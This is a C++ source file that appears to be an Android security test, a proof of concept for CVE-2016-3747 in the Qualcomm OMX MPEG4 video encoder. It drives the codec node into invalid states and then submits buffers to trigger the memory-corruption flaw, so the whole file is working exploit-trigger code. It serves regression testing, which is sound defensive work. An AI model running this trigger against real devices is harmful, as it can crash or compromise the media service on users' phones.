1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define LOG_TAG "CVE-2016-3747"
18
19 #include <OMX_Component.h>
20 #include <binder/MemoryDealer.h>
21 #include <log/log.h>
22 #include <media/IOMX.h>
23 #include <media/OMXBuffer.h>
24 #include <media/stagefright/OMXClient.h>
25 #include <utils/StrongPointer.h>
26
27 using namespace android;
28
29 struct DummyOMXObserver : public BnOMXObserver {
30 public:
DummyOMXObserverDummyOMXObserver31 DummyOMXObserver() {}
32
onMessagesDummyOMXObserver33 virtual void onMessages(const std::list<omx_message> &messages __unused) {}
34
35 protected:
~DummyOMXObserverDummyOMXObserver36 virtual ~DummyOMXObserver() {}
37 };
38
fuzzIOMXQcomEnc()39 bool fuzzIOMXQcomEnc() {
40 sp<IOMXNode> node;
41 sp<IOMX> mOmx;
42 int fenceFd = -1;
43 const char *name = "OMX.qcom.video.encoder.mpeg4";
44
45 OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
46 sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
47 params->nPortIndex = 0; // input port
48 params->format.video.nFrameHeight = 1280 * 4;
49 params->format.video.nFrameWidth = 720 * 4;
50 params->nBufferCountActual = 12;
51 params->nBufferSize = 73728;
52 params->nBufferCountMin = 0x4;
53
54 int inMemSize = params->nBufferSize * 12;
55 int outMemSize = 49152 * 4;
56 int inBufferCnt = 12;
57 int outBufferCnt = 4;
58 int inBufferSize = inMemSize / inBufferCnt;
59 int outBufferSize = outMemSize / outBufferCnt;
60
61 sp<IMemory> memory;
62
63 OMXClient client;
64 if (client.connect() != OK) {
65 ALOGE("OMXClient connect == NULL");
66 return false;
67 }
68
69 mOmx = client.interface();
70 if (mOmx == NULL) {
71 ALOGE("OMXClient interface mOmx == NULL");
72 client.disconnect();
73 return false;
74 }
75
76 sp<DummyOMXObserver> observer = new DummyOMXObserver();
77 status_t err = mOmx->allocateNode(name, observer, &node);
78 if (err != OK) {
79 ALOGI("%s node allocation fails", name);
80 return false;
81 }
82 // make venc in invalid state
83 err = node->sendCommand(OMX_CommandStateSet, 2);
84 if (err != OK) {
85 ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
86 node->freeNode();
87 return false;
88 }
89
90 sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
91 IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
92 for (int i = 0; i < inBufferCnt; i++) {
93 sp<IMemory> memory = dealerIn->allocate(inBufferSize);
94 if (memory.get() == nullptr) {
95 ALOGE("memory allocate failed for port index 0, err: %d", err);
96 node->freeNode();
97 return false;
98 }
99 OMXBuffer omxInBuf(memory);
100 err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
101 ALOGI("useBuffer, port index 0, err: %d", err);
102 }
103
104 sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
105 IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
106 for (int i = 0; i < outBufferCnt; i++) {
107 sp<IMemory> memory = dealerOut->allocate(outBufferSize);
108 if (memory.get() == nullptr) {
109 ALOGE("memory allocate failed for port index 1, err: %d", err);
110 node->freeNode();
111 return false;
112 }
113 OMXBuffer omxOutBuf(memory);
114 err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
115 ALOGI("useBuffer, port index 1, err: %d", err);
116 }
117
118 // make venc in invalid state
119 err = node->sendCommand(OMX_CommandStateSet, 3);
120 ALOGI("sendCommand, err: %d", err);
121 if (err != OK) {
122 ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
123 node->freeNode();
124 return false;
125 }
126
127 OMXBuffer omxInBuf(memory);
128 for (int i = 0; i < inBufferCnt; i++) {
129 err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
130 ALOGI("emptyBuffer, err: %d", err);
131 }
132
133 OMXBuffer omxOutBuf(memory);
134 for (int i = 0; i < outBufferCnt; i++) {
135 err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
136 ALOGI("fillBuffer, err: %d", err);
137 }
138 free(params);
139 err = node->freeNode();
140 ALOGI("freeNode, err: %d", err);
141 return true;
142 }
143
main()144 int main() { return fuzzIOMXQcomEnc(); }
145